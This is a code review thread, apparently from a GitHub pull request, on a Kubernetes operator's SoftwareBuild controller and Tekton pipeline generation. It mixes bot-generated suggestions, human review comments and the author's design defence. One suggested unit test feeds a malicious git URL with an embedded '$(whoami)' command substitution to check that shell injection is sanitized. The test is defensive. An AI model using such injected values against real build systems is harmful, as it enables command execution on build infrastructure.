+	Deploy    SoftwareBuildStageSpec `json:"deploy,omitempty"`
 }

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@api/v1alpha1/softwarebuild_types.go` around lines 111 - 118, The
SoftwareBuildPipelineStages struct currently has all five fields required; add
Kubernetes optional markers by placing a `// +optional` comment above each field
(Fetch, Prebuild, Build, Postbuild, Deploy) in the SoftwareBuildPipelineStages
definition so these stages can be omitted by users; ensure the json tags remain
unchanged (e.g., `json:"fetch"`) and keep the type as SoftwareBuildStageSpec
unless you also intend to convert fields to pointer types—only the `//
+optional` comments are required here.

internal/common/tasks/software_build_test.go (1)

344-367: Consider adding a test for URL with embedded single quotes.

The unsafe revision test is good, but there's no coverage for malicious URLs containing single quotes (e.g., https://evil.com/'$(cmd)'), which is a related injection vector.

🧪 Suggested test case

func TestGenerateSoftwareBuildPipelineRun_URLWithQuotesSanitized(t *testing.T) {
	sb := newTestSoftwareBuild()
	sb.Spec.Source = automotivev1alpha1.SoftwareBuildSourceSpec{
		Type: automotivev1alpha1.SoftwareBuildSourceGit,
		Git: &automotivev1alpha1.SoftwareBuildGitSource{
			URL:      "https://evil.com/'$(whoami)'",
			Revision: "main",
		},
	}
	pr := GenerateSoftwareBuildPipelineRun(sb, nil)

	for _, p := range pr.Spec.Params {
		if p.Name == "fetchCommand" {
			// Should either reject the URL or properly escape the quotes
			if strings.Contains(p.Value.StringVal, "$(whoami)") {
				t.Errorf("URL with embedded command should be sanitized, got %q", p.Value.StringVal)
			}
			return
		}
	}
	t.Fatal("fetchCommand param not found")
}

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@internal/common/tasks/software_build_test.go` around lines 344 - 367, Add a
new unit test that mirrors
TestGenerateSoftwareBuildPipelineRun_UnsafeRevisionSanitized but targets
malicious URLs with embedded single quotes (e.g.,
"https://evil.com/'$(whoami)'"); in the test (e.g.,
TestGenerateSoftwareBuildPipelineRun_URLWithQuotesSanitized) construct a
SoftwareBuild with that Git URL and call GenerateSoftwareBuildPipelineRun, find
the "fetchCommand" param in pr.Spec.Params, and assert that the produced
p.Value.StringVal neither contains the embedded command substitution ($(whoami))
nor unescaped single-quote characters—this verifies URL inputs are rejected or
properly escaped by the code that builds the fetch command in
GenerateSoftwareBuildPipelineRun.

internal/controller/softwarebuild/controller.go (1)

189-202: loadBuildConfig silently ignores errors.

When the OperatorConfig fetch fails for reasons other than NotFound (e.g., RBAC issues, API server unavailability), returning nil silently proceeds with defaults. This could mask configuration problems.

♻️ Proposed improvement

 func (r *SoftwareBuildReconciler) loadBuildConfig(ctx context.Context, namespace string) *tasks.BuildConfig {
+	logger := r.Log.WithValues("namespace", namespace)
 	var opConfig automotivev1alpha1.OperatorConfig
 	if err := r.Get(ctx, types.NamespacedName{Name: "default", Namespace: namespace}, &opConfig); err != nil {
+		if !errors.IsNotFound(err) {
+			logger.Error(err, "failed to fetch OperatorConfig, using defaults")
+		}
 		return nil
 	}

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@internal/controller/softwarebuild/controller.go` around lines 189 - 202,
loadBuildConfig currently swallows all Get errors; change it to distinguish
NotFound from other errors and log/report non-NotFound failures. In
loadBuildConfig (SoftwareBuildReconciler) import
k8s.io/apimachinery/pkg/api/errors as apierrors, then replace the single if err
!= nil { return nil } with: if apierrors.IsNotFound(err) { return nil } else {
r.Log.Error(err, "failed to get OperatorConfig", "namespace", namespace) ;
return nil } so that RBAC/API errors are surfaced in logs (optionally consider
returning an error from loadBuildConfig later for caller handling); keep the
rest of the function returning &tasks.BuildConfig when opConfig present.

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@api/v1alpha1/softwarebuild_types.go`:
- Around line 135-137: The TimeoutSeconds field allows negative values which
leads to invalid metav1.Duration; add a Kubernetes validation constraint to
enforce non-negative values by annotating the TimeoutSeconds field (e.g., add a
kubebuilder validation tag like +kubebuilder:validation:Minimum=0 to the
TimeoutSeconds int64 field) and regenerate CRDs so the API server rejects
negative timeouts; ensure you update any relevant struct comments and run
controller-gen to refresh generated CRD manifests.

In `@internal/common/tasks/software_build.go`:
- Line 192: The git clone command construction in gitClone uses
sb.Spec.Source.Git.URL directly and is vulnerable to single-quote injection
(e.g., in function building gitClone string with revision and
sb.Spec.Source.Git.URL). Before interpolating the URL, escape or sanitize any
single-quote characters in sb.Spec.Source.Git.URL (replace each ' with the safe
shell-escaped sequence) or otherwise ensure the URL is safely quoted, then use
the sanitized value when creating gitClone; alternatively, tighten the CRD
validation in softwarebuild_types.go to forbid single quotes. Ensure the change
targets the gitClone construction site so the revision and other fields remain
unchanged.
- Around line 139-150: The git clone construction in
GenerateSoftwareBuildPipelineRun is duplicated and its local fetchCommand is
unused; remove this dead block and consolidate the logic by extracting a single
helper (e.g., computeFetchCommand or getFetchCommand) that uses safeGitRefRe and
sb.Spec.Source.Git.Revision/URL, then call that helper from both
GenerateSoftwareBuildPipelineRun and buildPipelineRunParams (or have
buildPipelineRunParams be the single caller) so the PipelineRun params receive
the computed fetchCommand consistently.

---

Nitpick comments:
In `@api/v1alpha1/softwarebuild_types.go`:
- Around line 111-118: The SoftwareBuildPipelineStages struct currently has all
five fields required; add Kubernetes optional markers by placing a `//
+optional` comment above each field (Fetch, Prebuild, Build, Postbuild, Deploy)
in the SoftwareBuildPipelineStages definition so these stages can be omitted by
users; ensure the json tags remain unchanged (e.g., `json:"fetch"`) and keep the
type as SoftwareBuildStageSpec unless you also intend to convert fields to
pointer types—only the `// +optional` comments are required here.

In `@internal/common/tasks/software_build_test.go`:
- Around line 344-367: Add a new unit test that mirrors
TestGenerateSoftwareBuildPipelineRun_UnsafeRevisionSanitized but targets
malicious URLs with embedded single quotes (e.g.,
"https://evil.com/'$(whoami)'"); in the test (e.g.,
TestGenerateSoftwareBuildPipelineRun_URLWithQuotesSanitized) construct a
SoftwareBuild with that Git URL and call GenerateSoftwareBuildPipelineRun, find
the "fetchCommand" param in pr.Spec.Params, and assert that the produced
p.Value.StringVal neither contains the embedded command substitution ($(whoami))
nor unescaped single-quote characters—this verifies URL inputs are rejected or
properly escaped by the code that builds the fetch command in
GenerateSoftwareBuildPipelineRun.

In `@internal/controller/softwarebuild/controller.go`:
- Around line 189-202: loadBuildConfig currently swallows all Get errors; change
it to distinguish NotFound from other errors and log/report non-NotFound
failures. In loadBuildConfig (SoftwareBuildReconciler) import
k8s.io/apimachinery/pkg/api/errors as apierrors, then replace the single if err
!= nil { return nil } with: if apierrors.IsNotFound(err) { return nil } else {
r.Log.Error(err, "failed to get OperatorConfig", "namespace", namespace) ;
return nil } so that RBAC/API errors are surfaced in logs (optionally consider
returning an error from loadBuildConfig later for caller handling); keep the
rest of the function returning &tasks.BuildConfig when opConfig present.

🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 1d47cf58-0260-46e9-87c0-a2f0c952a712

📥 Commits

Reviewing files that changed from the base of the PR and between b8127f1 and 43b22c7.

📒 Files selected for processing (9)

• api/v1alpha1/softwarebuild_types.go
• api/v1alpha1/softwarebuild_types_test.go
• api/v1alpha1/zz_generated.deepcopy.go
• internal/common/tasks/software_build.go
• internal/common/tasks/software_build_test.go
• internal/common/tasks/tasks.go
• internal/controller/operatorconfig/controller.go
• internal/controller/softwarebuild/controller.go
• internal/controller/softwarebuild/controller_test.go

🚧 Files skipped from review as they are similar to previous changes (4)

• internal/controller/softwarebuild/controller_test.go
• api/v1alpha1/softwarebuild_types_test.go
• internal/controller/operatorconfig/controller.go
• api/v1alpha1/zz_generated.deepcopy.go

[coderabbitai]

Actionable comments posted: 1

♻️ Duplicate comments (1)

api/v1alpha1/softwarebuild_types.go (1)

135-136: ⚠️ Potential issue | 🟡 Minor

Add non-negative validation for timeoutSeconds.

Negative values are currently accepted at the API level and then ignored by timeout resolution logic, which is ambiguous for users. Add CRD validation to reject negatives.

Suggested patch

 type SoftwareBuildSpec struct {
 	// +optional
 	Runtime     SoftwareBuildRuntimeSpec     `json:"runtime,omitempty"`
 	Source      SoftwareBuildSourceSpec      `json:"source"`
 	Stages      SoftwareBuildPipelineStages  `json:"stages"`
 	Destination SoftwareBuildDestinationSpec `json:"destination"`
+	// +kubebuilder:validation:Minimum=0
 	// +optional
 	TimeoutSeconds int64 `json:"timeoutSeconds,omitempty"`
 }

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@api/v1alpha1/softwarebuild_types.go` around lines 135 - 136, Add a
non-negative CRD validation tag to the TimeoutSeconds field so negative values
are rejected at the API level: add the kubebuilder validation marker (Minimum=0)
above the TimeoutSeconds field (the field name is TimeoutSeconds on the
SoftwareBuild spec struct) and then re-generate the CRD manifests
(controller-gen) so the validation appears in the CRD. Ensure the existing json
tag remains unchanged.

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@api/v1alpha1/softwarebuild_types.go`:
- Around line 85-86: SoftwareBuildPVCSource.Path is exposed in the API but
ignored by the pipeline workspace creation; update the workspace-generation code
that builds the PVC workspace (the function in software_build.go that converts a
SoftwareBuildPVCSource into a Pipeline/Task workspace) to use
SoftwareBuildPVCSource.Path as the mount subPath (or equivalent field on the
Pipeline Workspace/WorkspaceDeclaration) so a non-root path mounts the PVC at
the specified sub-directory (treat the default "/" as “no subPath”);
alternatively, if you choose not to implement it now, mark
SoftwareBuildPVCSource.Path as not implemented by adding the same sentinel
comment/annotation used for credentialsSecretRef and update the API docs and
unit tests to reflect the no-op state.

---

Duplicate comments:
In `@api/v1alpha1/softwarebuild_types.go`:
- Around line 135-136: Add a non-negative CRD validation tag to the
TimeoutSeconds field so negative values are rejected at the API level: add the
kubebuilder validation marker (Minimum=0) above the TimeoutSeconds field (the
field name is TimeoutSeconds on the SoftwareBuild spec struct) and then
re-generate the CRD manifests (controller-gen) so the validation appears in the
CRD. Ensure the existing json tag remains unchanged.

🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 97b8d7ea-eb7a-4d59-a854-79d1bf5a27eb

📥 Commits

Reviewing files that changed from the base of the PR and between 43b22c7 and fc61e8f.

📒 Files selected for processing (2)

• api/v1alpha1/softwarebuild_types.go
• internal/controller/test/softwarebuild_controller_test.go

✅ Files skipped from review due to trivial changes (1)

• internal/controller/test/softwarebuild_controller_test.go

[coderabbitai]

Actionable comments posted: 2

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@internal/common/tasks/software_build.go`:
- Around line 141-155: The PipelineRun is being created in sb.Namespace (use of
sb.Namespace in the PipelineRun ObjectMeta) which prevents the PipelineRef
(SoftwareBuildPipelineName) from being resolved when the shared pipeline is
installed in the OperatorConfig namespace; update the generator to accept and
use the operator namespace (from OperatorConfig/default) instead of sb.Namespace
when constructing the PipelineRun ObjectMeta.Namespace so PipelineRef resolves
correctly (ensure buildPipelineRunParams and buildWorkspaceBinding still receive
any needed values but do not determine the PipelineRun namespace), or
alternatively constrain SoftwareBuild reconciliation to only run when
sb.Namespace equals the operator namespace and add a clear guard in the code
paths that call the PipelineRun construction.
- Around line 199-205: The fallback for stageImage is incorrectly set to the
literal string "$(params.containerImage)" which will be passed through
unchanged; instead use the in-scope variable globalImage (the same value set for
the "containerImage" param) when s.image == "" so the PipelineRun param value
contains the actual image string; update the logic around stages -> stageImage
(used when appending tektonv1.Param{Name: fmt.Sprintf("%sImage", s.name), ...})
to default to globalImage rather than the literal "$(params.containerImage)".

🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: bdf7f4c1-f5e8-4e96-9755-6bf07ffbe723

📥 Commits

Reviewing files that changed from the base of the PR and between fc61e8f and ba43d8c.

📒 Files selected for processing (2)

• api/v1alpha1/softwarebuild_types.go
• internal/common/tasks/software_build.go

[vtz]

Addressed linter erros and all review comments.

[raballew]

CRITICAL - I think GenerateSoftwareBuildPipelineRun places the PipelineRun in r.OperatorNamespace (hardcoded to "automotive-dev-operator-system"), but controllerutil.SetControllerReference at line 63 will always fail with "cross-namespace owner references are disallowed" when the SoftwareBuild CR lives in any other namespace. The error is returned before r.Create is reached, so the PipelineRun is never created and the reconciler retries indefinitely.

Also, the Owns(&tektonv1.PipelineRun{}) watch relies on owner references that are never set, so PipelineRun status changes won't trigger reconciliation.

The existing ImageBuild controller avoids this by creating PipelineRuns in imageBuild.Namespace.

[raballew]

[HIGH] Step script double-quotes the user command, breaking quoted commands and variable references.

The step script embeds the user-provided command inside double quotes: bash -lc "$(params.command)". Tekton performs literal text substitution on $(params.command) before the shell sees the script. If the user's command contains double quotes (e.g., grep "pattern" file), the quoting structure breaks. If the command contains $VAR references, the outer bash (with set -u) expands them before bash -lc executes, causing unbound variable errors.

Suggestion: write the command to a file via a single-quoted heredoc to prevent double-expansion:

Script: `#!/usr/bin/env bash
set -euo pipefail
cd $(workspaces.ws.path)
cat > /tmp/stage-cmd.sh <<'TEKTON_STAGE_EOF'
$(params.command)
TEKTON_STAGE_EOF
bash -l /tmp/stage-cmd.sh
`,

AI-generated, human reviewed

[raballew]

[HIGH] OperatorConfig lookup uses wrong name "default" instead of "config".

loadBuildConfig fetches NamespacedName{Name: "default", ...} but every other controller in the codebase uses Name: "config" (confirmed across imagebuild/controller.go, containerbuild/controller.go, and the sample manifest config/samples/automotive_v1_operatorconfig.yaml). The lookup always returns NotFound, so loadBuildConfig always returns nil and the OperatorConfig settings (DefaultImage, PVCSize, BuildTimeoutMinutes) are never applied.

[raballew]

[HIGH] loadBuildConfig silently swallows transient API errors, permanently baking wrong defaults into PipelineRuns.

The function returns nil on any error from r.Get, including transient errors (network timeouts, RBAC failures, leader election failovers), not just NotFound. When nil is returned, GenerateSoftwareBuildPipelineRun falls back to hardcoded defaults (1Gi PVC, no timeout, ubuntu:24.04 image). Because the PipelineRun name is deterministic, this misconfigured PipelineRun is created once and never recreated.

Generally speaking, most errors should be handled properly and not hidden as it cpould impact reproducibility.

[raballew]

[HIGH] cleanupSoftwareBuilds error is logged but not propagated, leaving orphaned Pipeline resources.

When SoftwareBuilds is disabled, the cleanup error is logged but not returned, so reconciliation reports success while stale Pipelines persist. Compare with the OSBuilds cleanup earlier in this file, which sets Phase=Failed, updates the status message, and returns the error so reconciliation retries.

Suggestion: handle the error consistently with the OSBuilds cleanup pattern: set Phase=Failed, update the status message, and return the error.

[raballew]

i think thats okay but the root cause #199 (comment) remains unanswered.

[raballew]

This AI generated response does not address the actual point. ImageBuild validates distro/target/mode, has mode-specific logic, orchestrates exports, manages hardware flashing, tracks provenance. SoftwareBuild passes a string to bash. Calling this "the same pattern" is wrong. One transforms, the other proxies.

The target audience argument would hold if the CRD gave them something but it does not. Users still write raw shell commands and debug their own failures. The CRD hides YAML syntax, which a Pipeline template, a shell script wrapping tkn or Helm chart also does without introducing a new API surface to maintain.

"Operator-managed lifecycle" is what every controller does by definition. That is not domain-specific value, that is the baseline.

Five stages map 1:1 to five tasks, source types map 1:1 to tekton workspace bindings.

TL;DR: None of these facts from the original review were disputed or resolved hence I am asking for further changes and discussion.

[raballew]

seems resolved.

[raballew]

#197 (#200 seems to be a duplicate of this) already works on chains integration. This code needs to be compatible with it.

[raballew]

i think you addressed this in one of your latest commits. seems fine for now.

[coderabbitai]

♻️ Duplicate comments (2)

internal/controller/softwarebuild/controller.go (2)

197-203: ⚠️ Potential issue | 🟠 Major

loadBuildConfig has two unresolved issues from past review.

1. Line 199: Uses Name: "default" but other controllers in the codebase use Name: "config" for the OperatorConfig. This mismatch means the lookup will always return NotFound, and config settings won't be applied.

2. Lines 200-201: Returns nil on any error, including transient API errors (network timeouts, RBAC failures). This silently bakes hardcoded defaults into the PipelineRun. Since the PipelineRun name is deterministic, the misconfigured run is created once and never recreated.

🛠️ Proposed fix

 func (r *Reconciler) loadBuildConfig(ctx context.Context) *tasks.BuildConfig {
 	var opConfig automotivev1alpha1.OperatorConfig
-	if err := r.Get(ctx, types.NamespacedName{Name: "default", Namespace: r.OperatorNamespace}, &opConfig); err != nil {
-		return nil
+	if err := r.Get(ctx, types.NamespacedName{Name: "config", Namespace: r.OperatorNamespace}, &opConfig); err != nil {
+		if !errors.IsNotFound(err) {
+			r.Log.Error(err, "failed to load OperatorConfig, using defaults")
+		}
+		return nil
 	}
 	return tasks.BuildConfigFromSoftwareBuilds(opConfig.Spec.SoftwareBuilds)
 }

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@internal/controller/softwarebuild/controller.go` around lines 197 - 203, The
loadBuildConfig function currently looks up OperatorConfig with Name "default"
and swallows all errors; change Name "default" to "config" to match other
controllers, and update loadBuildConfig signature to return (*tasks.BuildConfig,
error) so callers can handle API errors; inside the function call r.Get(...,
&opConfig) and if err != nil return (nil, nil) only when
apierrors.IsNotFound(err) otherwise return (nil, err); on success return
(tasks.BuildConfigFromSoftwareBuilds(opConfig.Spec.SoftwareBuilds), nil) and
update callers to handle the error (requeue/retry) instead of silently using
defaults.

---

59-76: ⚠️ Potential issue | 🟠 Major

Cross-namespace owner reference will fail if SoftwareBuild is created in a namespace different from the operator namespace.

Line 61 places the PipelineRun in r.OperatorNamespace ("automotive-dev-operator-system"), but line 63 sets sb as the controller owner. If the SoftwareBuild was created in a different namespace, SetControllerReference will fail with a "cross-namespace owner references are disallowed" error (line 63–65 returns immediately on error, blocking PipelineRun creation).

The controller watches all namespaces (line 208: For(&automotivev1alpha1.SoftwareBuild{}) has no namespace predicate), and the CRD does not validate or restrict where SoftwareBuild resources can be created, making this scenario possible. Additionally, the Owns(&tektonv1.PipelineRun{}) watch on line 209 relies on owner references that won't be set for cross-namespace cases.

Options:

1. Document/enforce that SoftwareBuild must be created only in the operator namespace (either via CRD validation webhook or controller-level filtering)
2. Skip owner reference for cross-namespace and use label-based association instead (similar to the existing automotive.sdv.cloud.redhat.com/softwarebuild label logic)
3. Create PipelineRun in sb.Namespace (but PipelineRef and other operator resources may not resolve)

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@internal/controller/softwarebuild/controller.go` around lines 59 - 76, The
createPipelineRun function currently always places the PipelineRun in
r.OperatorNamespace and unconditionally calls
controllerutil.SetControllerReference(sb, pr, r.Scheme), which fails for
cross-namespace SoftwareBuilds; modify createPipelineRun to detect when
sb.Namespace != r.OperatorNamespace and in that case do NOT call
SetControllerReference but instead associate the PipelineRun to the
SoftwareBuild via labels (e.g., reuse the existing
automotive.sdv.cloud.redhat.com/softwarebuild label and set
sb.Status.PipelineRunName/update status accordingly), while preserving the
current controllerutil.SetControllerReference behavior for same-namespace cases;
update any comments/logging to note the cross-namespace fallback so the Owns()
watch can be supplemented by label-based lookup for cross-namespace resources.

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Duplicate comments:
In `@internal/controller/softwarebuild/controller.go`:
- Around line 197-203: The loadBuildConfig function currently looks up
OperatorConfig with Name "default" and swallows all errors; change Name
"default" to "config" to match other controllers, and update loadBuildConfig
signature to return (*tasks.BuildConfig, error) so callers can handle API
errors; inside the function call r.Get(..., &opConfig) and if err != nil return
(nil, nil) only when apierrors.IsNotFound(err) otherwise return (nil, err); on
success return
(tasks.BuildConfigFromSoftwareBuilds(opConfig.Spec.SoftwareBuilds), nil) and
update callers to handle the error (requeue/retry) instead of silently using
defaults.
- Around line 59-76: The createPipelineRun function currently always places the
PipelineRun in r.OperatorNamespace and unconditionally calls
controllerutil.SetControllerReference(sb, pr, r.Scheme), which fails for
cross-namespace SoftwareBuilds; modify createPipelineRun to detect when
sb.Namespace != r.OperatorNamespace and in that case do NOT call
SetControllerReference but instead associate the PipelineRun to the
SoftwareBuild via labels (e.g., reuse the existing
automotive.sdv.cloud.redhat.com/softwarebuild label and set
sb.Status.PipelineRunName/update status accordingly), while preserving the
current controllerutil.SetControllerReference behavior for same-namespace cases;
update any comments/logging to note the cross-namespace fallback so the Owns()
watch can be supplemented by label-based lookup for cross-namespace resources.

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 71a15cc0-520b-4230-90c2-49dbdd475355

📥 Commits

Reviewing files that changed from the base of the PR and between c49f982 and 3db7494.

⛔ Files ignored due to path filters (1)

• config/crd/bases/automotive.sdv.cloud.redhat.com_softwarebuilds.yaml is excluded by !config/crd/bases/**

📒 Files selected for processing (8)

• api/v1alpha1/softwarebuild_types.go
• api/v1alpha1/softwarebuild_types_test.go
• api/v1alpha1/zz_generated.deepcopy.go
• internal/common/tasks/software_build.go
• internal/common/tasks/tasks.go
• internal/controller/operatorconfig/controller.go
• internal/controller/softwarebuild/controller.go
• internal/controller/test/softwarebuild_controller_test.go

✅ Files skipped from review due to trivial changes (2)

• internal/controller/test/softwarebuild_controller_test.go
• api/v1alpha1/zz_generated.deepcopy.go

🚧 Files skipped from review as they are similar to previous changes (2)

• internal/controller/operatorconfig/controller.go
• api/v1alpha1/softwarebuild_types_test.go

[vtz]

This PR is an initial implementation — a foundation, not a finished product.

The review surfaced valid points and we've addressed the concrete ones: path traversal validation, dead code removal, naming consistency, test coverage, error handling, and DRY extraction. The remaining open threads (Chains integration, stage status granularity, SA allowlisting) are tracked in follow-up issues (#200, #201, #204).

On the broader design question — SoftwareBuild uses a CRD as an API layer intentionally. Today it's thin. That's the point. The CRD gives us a control plane surface to build on:

Parity with ImageBuild: both build paths share the same operational model — CR in, reconciler manages lifecycle, Tekton executes. One API surface, one set of RBAC rules, one CLI (caib), one monitoring stack. Without the CRD, SoftwareBuild becomes a second-class citizen that users interact with differently.

Future leverage: shared build caches, compliance gating, build tiers, AI-assisted configuration, and developer onboarding flows all need a stable API object to attach to. A Pipeline template or Helm chart gives us none of that.

Extensibility without breakage: when Chains integration, artifact tracking, or new source types land, the CRD absorbs them as new fields and controller logic — no user-facing migration.

The five fixed stages, the inline TaskSpec, the minimal status — all of these are starting points that will evolve. Changes and suggestions are welcome. The architecture is what matters here: a CRD-based control plane that keeps software builds on the same footing as image builds.